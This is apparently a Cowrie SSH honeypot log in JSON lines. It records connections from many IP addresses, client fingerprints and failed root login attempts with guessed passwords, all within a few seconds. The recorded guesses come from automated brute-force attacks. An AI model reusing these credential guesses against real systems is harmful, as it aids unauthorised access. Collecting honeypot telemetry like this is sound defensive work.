{"eventid":"cowrie.login.failed","username":"root","password":"&","message":"login attempt [root/&] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:06.250883Z","src_ip":"87.251.79.125","session":"fbbecf962293","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:07.326415Z","src_ip":"87.251.79.125","session":"fbbecf962293","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":58138,"dst_ip":"10.17.0.5","dst_port":22,"session":"72cca34b8a47","protocol":"ssh","message":"New connection: 37.233.85.71:58138 (10.17.0.5:22) [session: 72cca34b8a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:14.983903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:14.989060Z","src_ip":"37.233.85.71","session":"72cca34b8a47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:15.099137Z","src_ip":"37.233.85.71","session":"72cca34b8a47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t1","message":"login attempt [root/1q2w3e4r5t1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:15.428044Z","src_ip":"37.233.85.71","session":"72cca34b8a47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:16.541866Z","src_ip":"37.233.85.71","session":"72cca34b8a47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.42.110","src_port":59824,"dst_ip":"159.203.135.109","dst_port":22,"session":"797571164970","protocol":"ssh","message":"New connection: 217.154.42.110:59824 (159.203.135.109:22) [session: 797571164970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:22.807207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:22.811144Z","src_ip":"217.154.42.110","session":"797571164970","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:22.890321Z","src_ip":"217.154.42.110","session":"797571164970","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":45380,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec5779ec41c6","protocol":"ssh","message":"New connection: 185.40.30.168:45380 (10.17.0.5:22) [session: ec5779ec41c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:23.011974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:23.020080Z","src_ip":"185.40.30.168","session":"ec5779ec41c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:23.148861Z","src_ip":"185.40.30.168","session":"ec5779ec41c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.106.207","src_port":54026,"dst_ip":"159.203.135.109","dst_port":22,"session":"e90ad2750de1","protocol":"ssh","message":"New connection: 43.128.106.207:54026 (159.203.135.109:22) [session: e90ad2750de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:23.225868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:23.231516Z","src_ip":"43.128.106.207","session":"e90ad2750de1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oozie","message":"login attempt [root/oozie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:23.246353Z","src_ip":"217.154.42.110","session":"797571164970","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:23.478185Z","src_ip":"43.128.106.207","session":"e90ad2750de1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"supervisores","message":"login attempt [root/supervisores] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:23.695232Z","src_ip":"185.40.30.168","session":"ec5779ec41c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:24.328390Z","src_ip":"217.154.42.110","session":"797571164970","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dagger","message":"login attempt [root/dagger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:24.492806Z","src_ip":"43.128.106.207","session":"e90ad2750de1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:24.826781Z","src_ip":"185.40.30.168","session":"ec5779ec41c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:25.741701Z","src_ip":"43.128.106.207","session":"e90ad2750de1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.49.246.176","src_port":40686,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d29715c11a9","protocol":"ssh","message":"New connection: 69.49.246.176:40686 (159.203.135.109:22) [session: 1d29715c11a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:27.146747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:27.150351Z","src_ip":"69.49.246.176","session":"1d29715c11a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:27.185473Z","src_ip":"69.49.246.176","session":"1d29715c11a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lennon","message":"login attempt [root/lennon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:27.333440Z","src_ip":"69.49.246.176","session":"1d29715c11a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:28.367741Z","src_ip":"69.49.246.176","session":"1d29715c11a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":45452,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfafa452a581","protocol":"ssh","message":"New connection: 154.70.102.114:45452 (10.17.0.5:22) [session: cfafa452a581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:34.554842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:34.558300Z","src_ip":"154.70.102.114","session":"cfafa452a581","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:34.756923Z","src_ip":"154.70.102.114","session":"cfafa452a581","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ranger123","message":"login attempt [root/ranger123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:35.592749Z","src_ip":"154.70.102.114","session":"cfafa452a581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:36.795300Z","src_ip":"154.70.102.114","session":"cfafa452a581","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.104.184","src_port":34402,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7b1065b3104","protocol":"ssh","message":"New connection: 43.134.104.184:34402 (159.203.135.109:22) [session: f7b1065b3104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:37.118793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:37.123208Z","src_ip":"43.134.104.184","session":"f7b1065b3104","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:37.369490Z","src_ip":"43.134.104.184","session":"f7b1065b3104","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"godisgreat","message":"login attempt [root/godisgreat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:38.386212Z","src_ip":"43.134.104.184","session":"f7b1065b3104","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:39.634560Z","src_ip":"43.134.104.184","session":"f7b1065b3104","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":45966,"dst_ip":"10.17.0.5","dst_port":22,"session":"3aaf462c741f","protocol":"ssh","message":"New connection: 79.127.181.44:45966 (10.17.0.5:22) [session: 3aaf462c741f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:39.649168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:39.857357Z","src_ip":"79.127.181.44","session":"3aaf462c741f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:40.060376Z","src_ip":"79.127.181.44","session":"3aaf462c741f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:40.065872Z","src_ip":"79.127.181.44","session":"3aaf462c741f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.112.237","src_port":51800,"dst_ip":"159.203.135.109","dst_port":22,"session":"51499fe488e4","protocol":"ssh","message":"New connection: 43.134.112.237:51800 (159.203.135.109:22) [session: 51499fe488e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:43.684595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:43.688020Z","src_ip":"43.134.112.237","session":"51499fe488e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:43.924456Z","src_ip":"43.134.112.237","session":"51499fe488e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.243.24.124","src_port":46646,"dst_ip":"10.17.0.5","dst_port":22,"session":"00f2b45dbe99","protocol":"ssh","message":"New connection: 103.243.24.124:46646 (10.17.0.5:22) [session: 00f2b45dbe99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:44.414725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:34:44.419913Z","src_ip":"103.243.24.124","session":"00f2b45dbe99","protocol":"ssh"}
